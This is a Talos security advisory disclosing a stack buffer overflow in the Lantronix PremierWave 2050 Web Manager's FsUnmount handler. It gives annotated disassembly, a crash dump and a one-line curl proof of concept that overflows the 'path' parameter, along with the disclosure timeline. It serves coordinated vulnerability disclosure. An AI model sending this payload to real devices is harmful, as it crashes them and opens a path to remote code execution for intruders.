Headline
CVE-2021-21892: TALOS-2021-1335 || Cisco Talos Intelligence Group
A stack-based buffer overflow vulnerability exists in the Web Manager FsUnmount functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Summary
A stack-based buffer overflow vulnerability exists in the Web Manager FsUnmount functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Tested Versions
Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)
Product URLs
https://www.lantronix.com/products/premierwave2050/
CVSSv3 Score
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-121 - Stack-based Buffer Overflow
Details
PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.
A specially crafted HTTP request can lead to a stack overflow in the function responsible for handling the FsUnmount ajax directive in the PremierWave 2050 Web Manager application, ltrx_evo. This function contains a vulnerable call to sprintf with a fixed sized destination and a user-controlled source. Successful exploitation allows an authenticated attacker with no special permissions to overflow a fixed size buffer allocated on the stack and corrupt the stack frame, resulting in attacker control of the program counter and therefore remote code execution.
Below is the full disassembly of the function responsible for handling the FsUnmount functionality.
.text:000558B0 PUSH {R4-R8,R10,LR}
.text:000558B4 LDR R1, =(aDeletedir+6) ; "dir"
.text:000558B8 SUB SP, SP, #0x1000
.text:000558BC SUB SP, SP, #0xC
.text:000558C0 MOV R4, R0
.text:000558C4 BL get_POST_param
.text:000558C8 LDR R1, =aPath ; "path"
.text:000558CC LDR R6, =PrintPostResults
.text:000558D0 MOV R7, R0 ; [1] Store "dir" POST parameter into R7
.text:000558D4 MOV R0, R4 ;
.text:000558D8 BL get_POST_param
.text:000558DC MOV R5, R0 ; [2] Store "path" POST parameter into R5
.text:000558E0 MOV R0, R4
.text:000558E4 BL init_xml_response
.text:000558E8 MOV R0, R4
.text:000558EC LDR R1, [R6] ; "PrintPostResults"
.text:000558F0 MOV R2, #0
.text:000558F4 LDR R3, =null_byte_
.text:000558F8 BL stream_xml_elem
.text:000558FC LDR R1, =aSS_1 ; "%s%s"
.text:00055900 LDR R2, =path ; "/ltrx_user"
.text:00055904 MOV R3, R5
.text:00055908 ADD R0, SP, #0x1028+s ; s
.text:0005590C BL sprintf ; [3] Vulnerable `sprintf` call
sprintf(s, "%s%s", "/ltrx_user", path);
.text:00055910 MOV R0, R5
.text:00055914 BL IseUSB
.text:00055918 SUBS R10, R0, #0
.text:0005591C BNE loc_55970
.text:00055920 ADD R1, SP, #0x1028+s
.text:00055924 LDR R0, =aSbinLtrxUsbUmo ; "/sbin/ltrx_usb_umount '%s'"
.text:00055928 BL sprintf_malloc
.text:0005592C MOV R1, R10
.text:00055930 MOV R2, R10
.text:00055934 MOV R8, R0
.text:00055938 BL exec_system_cmd_print
.text:0005593C MOV R0, R8 ; ptr
.text:00055940 BL Free
.text:00055944 MOV R3, #1
.text:00055948 STMEA SP, {R3,R5}
.text:0005594C LDR R3, =fs
.text:00055950 MOV R0, R4
.text:00055954 LDR R1, [R6] ; "PrintPostResults"
.text:00055958 LDR R2, [R3] ; "fs"
.text:0005595C MOV R3, #0x3A ; ':'
.text:00055960 BL sub_B4AF0
.text:00055964 MOV R0, R4
.text:00055968 MOV R1, R7
.text:0005596C BL sub_54D94
.text:00055970 MOV R0, R4
.text:00055974 BL insert_xml_trailer
.text:00055978 MOV R0, #1
.text:0005597C ADD SP, SP, #0xC
.text:00055980 ADD SP, SP, #0x1000
.text:00055984 POP {R4-R8,R10,PC}
At [2] the attacker-controlled path parameter is stored into R5, and just a few instructions later, with no validation or verification of the contents of the path variable, the value is supplied directly to an sprintf call whose destination buffer was only allocated for 1032 bytes.
Crash Information
Thread 13 "ltrx_evo" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 28770.28850]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0x1
$r1 : 0x0
$r2 : 0x4228c4d4 → 0x00000000
$r3 : 0x2
$r4 : 0x4d4d4d4d ("MMMM"?)
$r5 : 0x4d4d4d4d ("MMMM"?)
$r6 : 0x4d4d4d4d ("MMMM"?)
$r7 : 0x4d4d4d4d ("MMMM"?)
$r8 : 0x4d4d4d4d ("MMMM"?)
$r9 : 0x408085cd → 0x54480000
$r10 : 0x4d4d4d4d ("MMMM"?)
$r11 : 0x6
$r12 : 0x0
$sp : 0x42284ec8 → "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM[...]"
$lr : 0x000e3c78 → movs r1, r0
$pc : 0x4d4d4d4c ("LMMM"?)
$cpsr: [negative zero carry overflow interrupt fast THUMB]
────────────────────────────────────────────────────────────────────────────────────────────────────
Exploit Proof of Concept
curl --user admin:PASS -d "ajax=FsUnmount&dir=/&path=`python -c "print('M'*9000)"`" http://192.168.0.1/
Timeline
2021-06-14 - Vendor Disclosure
2021-06-15 - Vendor acknowledged
2021-09-01 - Talos granted disclosure extension to 2021-10-15
2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date set
2021-11-15 - Public Release
Discovered by Matt Wiseman of Cisco Talos.